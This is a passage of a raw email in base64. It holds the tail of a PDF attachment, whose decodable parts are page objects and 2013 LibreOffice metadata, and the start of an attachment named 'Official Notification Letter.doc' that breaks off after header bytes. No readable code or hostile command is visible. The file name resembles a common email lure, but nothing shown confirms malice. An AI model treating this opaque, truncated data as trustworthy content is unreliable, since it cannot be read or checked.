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 agcTw661Rjn/LQcLeUiJT9Nv0zzXA2Be4NfWGNO54sj1kJSfhNlFycHPUfO6noEQSHOTYIcZThIj JNJrQqhCqQf9l7rIwy+PKE3WIMGhWxVLbns09YaMLamQSI93r8La9mjAUJqsQdrDwHs7jcDFzmaH MAAhSh1Zy0H81FO2jHpwHfDBvzuu0siFpcI+ELkEu0rkUqhvPsxZhUR6TDM1cEwjRQuHFC3riqUo 6wC/c7MlFRLp8e5hBTsMDKXJGuwiRzRG4GJns0MYgBCljqzlIH7qKVtGPbgO+ODfHVdJ5PJKvyLc iVwusCtHDqTInI2QSI9oglAkciRN1mDHGrBEYV0lsbOKT1GHd67CLORJ6ozZqDGFEbTaGXcIHQgi 09G06MVDPVnl0gPbgla/7rhIIxbnmg0HIpa10nL2lSazVSE1LSaYGViDjJIx1rONYErYRrDFdlRI pMc7x0WJw3VnrItVlvrqscdlx3IYABB0Q9Aiz1pZA2Uy0oMycKfOm1vXSIxSgScHYuRgR4lSlbww VSGRHtNrvy5JVTmFuYqi4ZsKqDFjREaWjJBIj3YHIUlakjRZg120iMYIXOxsdgg9EKbUkbUxEz/1 lC2jHlwHfPDvjqs0cinXz/uRS7MzMwhIcnobIZEec569mUFImqzBPnIVi84gIEmtGiGRHu+esjm8 SZqsQRs5pjECFzubHcIAhCh1ZC0H8VNP2TLqwXXAB//uuEoiFwv8HzQHIuezmUGST3p6GyGRHtP0 2cwgJE3WYMcasOgMgsjIkhES6fHuzpnDm6TJGuwiRzRG4GJns0PogTCljqyNnPipp2wZ9eA64IN/ d1z1afof40W9jw0KZW5kc3RyZWFtDWVuZG9iag01IDAgb2JqDTw8L0NvbnRlbnRzIDYgMCBSL0Ny b3BCb3hbMCAwIDYxMiA3OTJdL0dyb3VwPDwvQ1MvRGV2aWNlUkdCL0kgdHJ1ZS9TL1RyYW5zcGFy ZW5jeT4+L01lZGlhQm94WzAgMCA2MTIgNzkyXS9QYXJlbnQgMTEgMCBSL1Jlc291cmNlcyA0MiAw IFIvUm90YXRlIDAvVHlwZS9QYWdlPj4NZW5kb2JqDTYgMCBvYmoNPDwvRmlsdGVyL0ZsYXRlRGVj b2RlL0xlbmd0aCAxNDcwPj5zdHJlYW0NCniczVhLiyM3EL73r9B5wV69Wg8wDTPrXUhuA4YcQk5J JiGME2Yv+fuR6iGV2u2ZTiCwzNDulqWqr776qiS3Phr19/SqdPkLxqqYrfr66/TDB/XnpI/ZZ23U +vPrb5NJqvzPMag4h7JAPX+YntSrclkrH93RKpN1vVp3jM3gK4w6cIbf9Pk/X6eP311NUOe/1BPa 8sdZ+TkrE2ZlXJJmgj9mNONiuStTA0wlK7Fb2QoMRo/Gzr4YOboYfKxBPV4mG3RBFZwtiC6/qI9f TAGqLs8nnZfLH9Pny4RWbXDFI85LsSyBS7cPj9V1uUkwm60SwvSfEbpUrARrVgh/PGmzHMxJ+8Wd rF4OvmJ2J4ejaTnYkynDZUQviW71uQ7DPBPFIvugP9UHaxeLFzNXM7TKLz9dvkcy7gM1IVWKdCzX Eajziz/5UB0Ug8Wlq7atWRinthW4Jm8ZYD0s8WQdDAA0mAPBIrQyivEYfTJhaeswfJjsGj96LiFp QIC3sfuu8RdvdSp8BfMfl0OWz+AsgTO0DV8Bm4XGHexEWwpvzvXK5HggZwbAq+u8PfxNT9lNQtKl RIiEDBxYD+JzC2TuAKkykFCLiikp910HlXSL39LYeTFFrJ7lsxq3pPM+nkpFUPpxABVZAYArlOmZ pgQQA68PVRJUG6EOZ1Yaa6KKJC4MFWGNFm1dRBX3diAi8lUcoa4Fnko9JBq382LIF857XAzhRTRO M4FI7BcKxZPX1hTqnM91cWzGCEAN02KZ5RZH46R5PiMfXGQHvkeWmbzdqom67A6DaogVXxoFMSYw ADGQOAwOLqHHRisA4j28YFoKElViWzfJt3alFAr3jkhbTclsFjPD/RCtg8Ra/w68iprRgQuDLJxl Es5NI9y9mHLGKi3YXOMbtZU5tT28e/4720VMUptYB1s592vsIK5uWdZ5EhObxd1yCfXcMcpFFulQ /ARGVMEWwz2QrR5V8rTdpPIGcxvJ2t2XqiB6YzJ2s2K7akRJuH5LreCtiLn1EnAvN8hqJ3TsQ+Wg hZrXQRMbpZ8HkZ1ln7yROUY/A80CtJXUMeKVGrca624ZzXoUkQBJHRROBW4Q99tK+ZZ2s9jJnunQ R6m57fUyJzUgmgEalO0KXEpROs8Bhx4vo2ibJ4W40YbXexruWYSKN5/eAoUSmlQMSzX1djLY7gUT lqFeZPCMYbd6XF6fdG56wVs1tk5Sj6oV0CfOwWadNcZ64fDGyNSJA8CqObH+NjaXdhBK5DNtKq/5 FP3qdpvkfU84tDMe6zc2jLQmTXS1x3aoFz3i3uYMkvEixe+u7hu/wZhvzxPUGOSeysZin75bPzbf nHmYByeLlmIvP9wOhskYDxByF7Iyq7JBUKV0xLKKten9zK3lSsdQFiu2RPTyAAiEqB+XUeRCSHKz x2P0IL9xo2rVLFRVb0lPc9O5OIXLDUMcirkyWmMcT4frLU7WibsvwqYacdqfGyAY5+oZKms8ExEC QtRztirf3Zoy+c7BCAHy4W/4UdB7pb23q//bne7emej/+cF23vpJFQZHOEqnQ9uju83EG4e91g19 pxTz2X8PEvR1ysofpslrfcwyT55fSZn2SqrNt7Z0CLhc8T6G2jNelPXlNuFN+X9RfeaL+n16/jAV cbBIhs/2tu9aP2Osi001GiOuhgeDbnBms2iq2saPCtKo8l/MyYXSYvk2RsMgWwgdMZl4H3l9w0I+ rvTATubsKZp6B6jFbDbNxM4pVd6ucINMzikLdPhEhNLsd3iYMxGxWjuYzczFGn2Hyob20oE2iP+W xSTY4Dvp8ZaPSkORWVOWvaGjPzFp7xJSg2VGhsy3ByZkgD9gnTpra9SN6OskK4CroiVuSMn7tPpW ICAkqexBVE1qO4Uh10qjrH8Zg4S8kgS+sg6l32vl/FxfSXv5Yv4ekFflkwXynA7KxPno1cFVN/Qa O+Nr7L3zntQ/bHYg1Q0KZW5kc3RyZWFtDWVuZG9iag03IDAgb2JqDTw8L0xlbmd0aCAzMjczL1N1 YnR5cGUvWE1ML1R5cGUvTWV0YWRhdGE+PnN0cmVhbQ0KPD94cGFja2V0IGJlZ2luPSLvu78iIGlk PSJXNU0wTXBDZWhpSHpyZVN6TlRjemtjOWQiPz4KPHg6eG1wbWV0YSB4bWxuczp4PSJhZG9iZTpu czptZXRhLyIgeDp4bXB0az0iQWRvYmUgWE1QIENvcmUgNS40LWMwMDUgNzguMTQ3MzI2LCAyMDEy LzA4LzIzLTEzOjAzOjAzICAgICAgICAiPgogICA8cmRmOlJERiB4bWxuczpyZGY9Imh0dHA6Ly93 d3cudzMub3JnLzE5OTkvMDIvMjItcmRmLXN5bnRheC1ucyMiPgogICAgICA8cmRmOkRlc2NyaXB0 aW9uIHJkZjphYm91dD0iIgogICAgICAgICAgICB4bWxuczpkYz0iaHR0cDovL3B1cmwub3JnL2Rj L2VsZW1lbnRzLzEuMS8iCiAgICAgICAgICAgIHhtbG5zOnhtcD0iaHR0cDovL25zLmFkb2JlLmNv bS94YXAvMS4wLyIKICAgICAgICAgICAgeG1sbnM6cGRmPSJodHRwOi8vbnMuYWRvYmUuY29tL3Bk Zi8xLjMvIgogICAgICAgICAgICB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAv MS4wL21tLyI+CiAgICAgICAgIDxkYzpmb3JtYXQ+YXBwbGljYXRpb24vcGRmPC9kYzpmb3JtYXQ+ CiAgICAgICAgIDxkYzpjcmVhdG9yPgogICAgICAgICAgICA8cmRmOlNlcT4KICAgICAgICAgICAg ICAgPHJkZjpsaT5NYXJvPC9yZGY6bGk+CiAgICAgICAgICAgIDwvcmRmOlNlcT4KICAgICAgICAg PC9kYzpjcmVhdG9yPgogICAgICAgICA8eG1wOkNyZWF0ZURhdGU+MjAxMy0wOS0wNFQwNjo1OToz MiswMjowMDwveG1wOkNyZWF0ZURhdGU+CiAgICAgICAgIDx4bXA6Q3JlYXRvclRvb2w+V3JpdGVy PC94bXA6Q3JlYXRvclRvb2w+CiAgICAgICAgIDx4bXA6TW9kaWZ5RGF0ZT4yMDEzLTA5LTA0VDA2 OjAxOjE0KzAxOjAwPC94bXA6TW9kaWZ5RGF0ZT4KICAgICAgICAgPHhtcDpNZXRhZGF0YURhdGU+ MjAxMy0wOS0wNFQwNjowMToxNCswMTowMDwveG1wOk1ldGFkYXRhRGF0ZT4KICAgICAgICAgPHBk ZjpQcm9kdWNlcj5MaWJyZU9mZmljZSA0LjE8L3BkZjpQcm9kdWNlcj4KICAgICAgICAgPHhtcE1N OkRvY3VtZW50SUQ+dXVpZDplZDQwYmM5My1iNzhkLTQ1NGYtYjhlNC05OWMxNmQ5NzIzMjA8L3ht cE1NOkRvY3VtZW50SUQ+CiAgICAgICAgIDx4bXBNTTpJbnN0YW5jZUlEPnV1aWQ6NGFhNDI0MjIt OTY4MC00ZjE2LWI4NzktOWNiYWM0M2NlOWMyPC94bXBNTTpJbnN0YW5jZUlEPgogICAgICA8L3Jk ZjpEZXNjcmlwdGlvbj4KICAgPC9yZGY6UkRGPgo8L3g6eG1wbWV0YT4KICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAK ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgICAgIAo8P3hwYWNrZXQgZW5kPSJ3Ij8+ DQplbmRzdHJlYW0NZW5kb2JqDTggMCBvYmoNPDwvRmlsdGVyL0ZsYXRlRGVjb2RlL0ZpcnN0IDUv TGVuZ3RoIDU4L04gMS9UeXBlL09ialN0bT4+c3RyZWFtDQpo3jI0VDBQsLHRd84vzStRMNH3zkwp jjY0BQoGKRiCSWMwCRaJ1Q+pLEjVD0hMTy22swMIMACxtA8cDQplbmRzdHJlYW0NZW5kb2JqDTkg MCBvYmoNPDwvRmlsdGVyL0ZsYXRlRGVjb2RlL0ZpcnN0IDUvTGVuZ3RoIDExOC9OIDEvVHlwZS9P YmpTdG0+PnN0cmVhbQ0KaN5ky7EKwjAQBuBXydaEgvkvjUKlFIodLbo5x/aKWXpwpO+voJv791Ew MF3nh728RO2UVJy/KKeSZRtTYTueA6hBi4jTsW1CjVAB1U99zkNzYXV+kuUvgCjWoG+4qyz7zGqv +al8W9c8s4kHcn3/FmAAIikmFQ0KZW5kc3RyZWFtDWVuZG9iag0xMCAwIG9iag08PC9EZWNvZGVQ YXJtczw8L0NvbHVtbnMgNC9QcmVkaWN0b3IgMTI+Pi9GaWx0ZXIvRmxhdGVEZWNvZGUvSURbPDI5 OTY4NEM5MDI1NDAxMUY3NTIzMEY1REFDRTFCMzM1Pjw2OThBRDdDMzgyOUQ2QzQ2OTg5RTM0QTRF Mjc2ODI5Mj5dL0luZm8gMTIgMCBSL0xlbmd0aCA1My9Sb290IDE0IDAgUi9TaXplIDEzL1R5cGUv WFJlZi9XWzEgMyAwXT4+c3RyZWFtDQpo3mJiAAImRuaYVCYGBsa1QIIrD8bizIex2FiABK8YkGCY BhK7zMT4t8oGxGUECDAAzI8HJg0KZW5kc3RyZWFtDWVuZG9iag1zdGFydHhyZWYNCjExNg0KJSVF T0YNCg== --=_cKqQjMieWo0f_EB1fcOcnQ2 Content-Type: application/msword; name="Official Notification Letter.doc" Content-Disposition: attachment; size=529920; filename="Official Notification Letter.doc" Content-Transfer-Encoding: base64 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAAJAAAABAQAAAAAAAAA EAAABwQAAAEAAAD+////AAAAAPsDAAD8AwAA/QMAAP4DAAD/AwAAAAQAAAEEAAACBAAAAwQAAP// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////s pcEAW4AJBAAA+BK/AAAAAAAAEAAAAAAACAAAVhoAAA4AYmpiaqz6rPoAAAAAAAAAAAAAAAAAAAAA AAAJBBYA+W0HAM6QAQDOkAEAPBIAAAAAAAAZAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAA AAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAAAAAAAAAAALcAAAAAAOIHAAAAAAAA4gcAACUV AAAAAAAAJRUAAAAAAAAlFQAAAAAAACUVAAAAAAAAJRUAABQAAAAAAAAAAAAAAP////8AAAAAORUA AAAAAAA5FQAAAAAAADkVAAA4AAAAcRUAADQAAAClFQAAhAAAADkVAAAAAAAAfSQAAJICAAApFgAA AAAAACkWAAAAAAAAKRYAAAAAAAApFgAAAAAAACkWAAAAAAAAxRwAAAAAAADFHAAAAAAAAMUcAAAA AAAA/CMAAAIAAAD+IwAAAAAAAP4jAAAAAAAA/iMAAAAAAAD+IwAAAAAAAP4jAAAAAAAA/iMAACQA AAAPJwAAogIAALEpAAA6AAAAIiQAABUAAAAAAAAAAAAAAAAAAAAAAAAAJRUAAAAAAADFHAAAAAAA AAAAAAAAAAAAAAAAAAAAAAANHAAAuAAAAMUcAAAAAAAAxRwAAAAAAADFHAAAAAAAACIkAAAAAAAA AAAAAAAAAAAlFQAAAAAAACUVAAAAAAAAKRYAAAAAAAAAAAAAAAAAACkWAADkBQAANyQAABYAAADd HwAAAAAAAN0fAAAAAAAA3R8AAAAAAADFHAAAZAAAACUVAAAAAAAAKRYAAAAAAAAlFQAAAAAAACkW AAAAAAAA/CMAAAAAAAAAAAAAAAAAAN0fAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAxRwAAAAAAAD8IwAAAAAAAAAAAAAAAAAA3R8AAAAAAADdHwAA HgAAAHQiAAAYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwCIAAAAAAAApFgAAAAAAAP////8AAAAAELBqYiup zgEAAAAAAAAAADkVAAAAAAAAKR0AAGQAAACMIgAACAAAAAAAAAAAAAAA6CMAABQAAABNJAAAMAAA AH0kAAAAAAAAlCIAACwAAADrKQAAAAAAAI0dAABQAgAA6ykAABAAAADAIgAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAOspAAAAAAAAAAAAAAAAAAAlFQAAAAAAAMAiAAAoAQAAxRwAAAAAAADFHAAAAAAAAN0f AAAAAAAAxRwAAAAAAADFHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxRwA AAAAAADFHAAAAAAAAMUcAAAAAAAAIiQAAAAAAAAiJAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA3R8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMUcAAAA AAAAxRwAAAAAAADFHAAAAAAAAH0kAAAAAAAAxRwAAAAAAADFHAAAAAAAAMUcAAAAAAAAxRwAAAAA AAAAAAAAAAAAAP////8AAAAA/////wAAAAD/////AAAAAAAAAAAAAAAA/////wAAAAD/////AAAA AP////8AAAAA/////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAAP////8AAAAA /////wAAAAD/////AAAAAP////8AAAAA/////wAAAAD/////AAAAAOspAAAAAAAAxRwAAAAAAADF HAAAAAAAAMUcAAAAAAAAxRwAAAAAAADFHAAAAAAAAMUcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADFHAAAAAAAAMUcAAAAAAAAxRwA AAAAAADiBwAACQwAAOsTAAA6AQAABQASAQAACQQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 